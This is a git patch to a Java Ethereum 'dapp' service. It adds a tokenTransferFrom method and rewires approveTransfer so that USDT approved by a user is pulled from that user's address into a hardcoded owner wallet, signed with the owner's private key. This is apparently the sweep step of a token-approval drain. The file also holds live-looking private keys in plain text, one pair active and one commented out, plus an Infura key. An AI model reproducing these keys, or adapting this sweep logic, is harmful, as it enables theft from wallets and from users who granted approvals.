From 4d4961f7d61af44e2f2a5fae86a557d7b14a6a0c Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Wed, 06 Apr 2022 15:19:18 +0800 Subject: [PATCH] fix --- src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 59 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 files changed, 56 insertions(+), 3 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java index 934c208..377320b 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java @@ -57,6 +57,9 @@ private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600"; private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419"; +// private static final String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D"; +// private static final String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb"; + public EthService() { try { HttpService service = new HttpService(ETH_UTL); @@ -212,8 +215,9 @@ // Web3j web3j = Web3j.build(new // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321")); if(StringUtils.isBlank(gas)){ - gas="70"; + gas="35"; } + String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; Credentials credentials = Credentials.create(privateKey); @@ -231,8 +235,57 @@ RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快 - Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 + Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 // 10*80000/1000000000=0.0008 手续费 + + byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); + String hexValue = Numeric.toHexString(signedMessage); + + CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync(); + EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get(); + //return "hash"; +// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction)); + + if (ethSendTransaction.hasError()) { + return ""; + } else { + String transactionHash = ethSendTransaction.getTransactionHash(); + // log.info("Transfer transactionHash:" + transactionHash); + return transactionHash; + } + } + + public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas) + throws InterruptedException, ExecutionException { + if(StringUtils.isBlank(gas)){ + gas="35"; + } + + BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000")); + amount = amountPow.toPlainString(); + if (amount.contains(".")) { + amount = amount.substring(0, amount.lastIndexOf(".")); + } + + String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + Credentials credentials = Credentials.create(privateKey); + + EthGetTransactionCount ethGetTransactionCount = web3j + .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); + + BigInteger nonce = ethGetTransactionCount.getTransactionCount(); + + Function function = new Function("transferFrom", + Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))), + Arrays.asList(new TypeReference<Type>() { + })); + + String encodedFunction = FunctionEncoder.encode(function); + + RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, + Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快 + Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 + // 10*80000/1000000000=0.0008 手续费 byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); @@ -253,7 +306,7 @@ public String approveTransfer(String fromAddress, BigDecimal amount, String gas) { try { - return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); + return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); } catch (InterruptedException | ExecutionException e) { e.printStackTrace(); return ""; -- Gitblit v1.9.1